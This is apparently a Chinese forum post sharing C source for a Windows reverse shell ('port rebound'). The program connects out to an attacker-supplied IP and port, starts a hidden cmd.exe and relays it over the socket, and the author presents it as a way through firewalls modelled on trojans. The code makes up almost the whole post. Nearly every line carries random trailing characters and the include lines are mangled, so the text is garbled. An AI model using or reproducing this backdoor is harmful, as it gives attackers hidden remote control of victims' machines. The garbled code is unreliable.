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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 mg>wv[ 7  
=q|//*t2  
/* ============================== :Rnwyj])  
Rebound port in Windows NT 2[j`bYNe  
By wind,2006/7 lA;qFXaN>  
===============================*/ <r(D\rmD  
#include :6&#u.\u  
#include ]"?<y s  
L "'d(MD  
#pragma comment(lib,"wsock32.lib") X<pNc6  
5sj$XA?5  
void OutputShell(); M ac?HI  
SOCKET sClient; \zwm:@lG  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; s,pg4nst56  
U_.}V  
void main(int argc,char **argv) m8G/;V[x  
{ \rO!lvX  
WSADATA stWsaData; +\u\BJ!LAJ  
int nRet; [0]J 2  
SOCKADDR_IN stSaiClient,stSaiServer; 'm"Ez'sS  
.TDg`O24c,  
if(argc != 3) YXh!+}  
{ Eau V  
printf("Useage:\n\rRebound DestIP DestPort\n"); +?[s"(  
return; )>^Ge9d]  
} C N}0( 2n  
?A24h !7  
WSAStartup(MAKEWORD(2,2),&stWsaData); P_H_\KsH*(  
Y*O Bky  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g:!R't?  
e\f\CMb  
stSaiClient.sin_family = AF_INET; &Vu-*?  
stSaiClient.sin_port = htons(0); (d* | |"  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); QC&,C}t,  
!4<A|$mQ  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?AQA>D#W  
{ ts("(zI1E  
printf("Bind Socket Failed!\n"); ^R)]_   
return; 2$VSH&  
} feeHXKD|  
U!K#g_}  
stSaiServer.sin_family = AF_INET; QUfF>,[sv  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); W7@Vma`  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &3x da1H  
?^^TR/  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) uq7/G|  
{ ^#K^WV  
printf("Connect Error!"); OECVExb@eH  
return; yu > ;m.e_  
} 4x?I,cAN  
OutputShell(); ~2yhZ  
} Fu\#:+5\  
,2i1 4H  
void OutputShell() Tj\hAcD  
{ 1CM 8P3  
char szBuff[1024]; )q\6pO@  
SECURITY_ATTRIBUTES stSecurityAttributes; rOj(THoc{  
OSVERSIONINFO stOsversionInfo; 2+p XtP@O  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; w>}n1Nc$G  
STARTUPINFO stStartupInfo; rY1jC\  
char *szShell; @xso{$z?j  
PROCESS_INFORMATION stProcessInformation; ,^<39ng  
unsigned long lBytesRead; ^gNbcWc7CU  
~?)y'?  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 0ia-D`^me  
v6E5#pse8  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); g:U -kK!i  
stSecurityAttributes.lpSecurityDescriptor = 0; \q24E3zS&  
stSecurityAttributes.bInheritHandle = TRUE; tK'9%yA\  
qSD3]Dv"  
8DbP$Wwi  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); o]&P0 b  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 5Z"N2D)."  
a1[J>  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); `0w!&  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BQeg-M  
stStartupInfo.wShowWindow = SW_HIDE; ,JTyOBB<I  
stStartupInfo.hStdInput = hReadPipe; "A5z!6T{  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; L'"c;FF02i  
x&m(h1h  
GetVersionEx(&stOsversionInfo); $(08!U  
mv`b3 $  
switch(stOsversionInfo.dwPlatformId) nPl,qcyY  
{ U!RIeC  
case 1: a5d_= :S ;  
szShell = "command.com"; TV0Y{x*~iH  
break; TIaiJvo  
default: n!lE|if  
szShell = "cmd.exe"; [9Tnp]q  
break; "T<7j.P?  
} MBU4Awj  
No+BS%F5  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); dldS7Q  
*YX:e@Fm.a  
send(sClient,szMsg,77,0); U2~|AkL  
while(1) JRE\R&>g  
{ F&3:]1  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); vBM<M3  
if(lBytesRead) H7<g5pv  
{ ycvgF6Me<  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); BGOS(  
send(sClient,szBuff,lBytesRead,0); :Dtm+EQ  
} &NbSG+t  
else jYBiC DD  
{ =*>.z@WQ  
lBytesRead=recv(sClient,szBuff,1024,0); eu$"GbqY  
if(lBytesRead<=0) break; D`.\c#;cN  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); qw)Ou]L=  
} $"}*#<Z  
} IF<T{/MA  
|%3>i"Y@AK  
return; 4X}TG  
}
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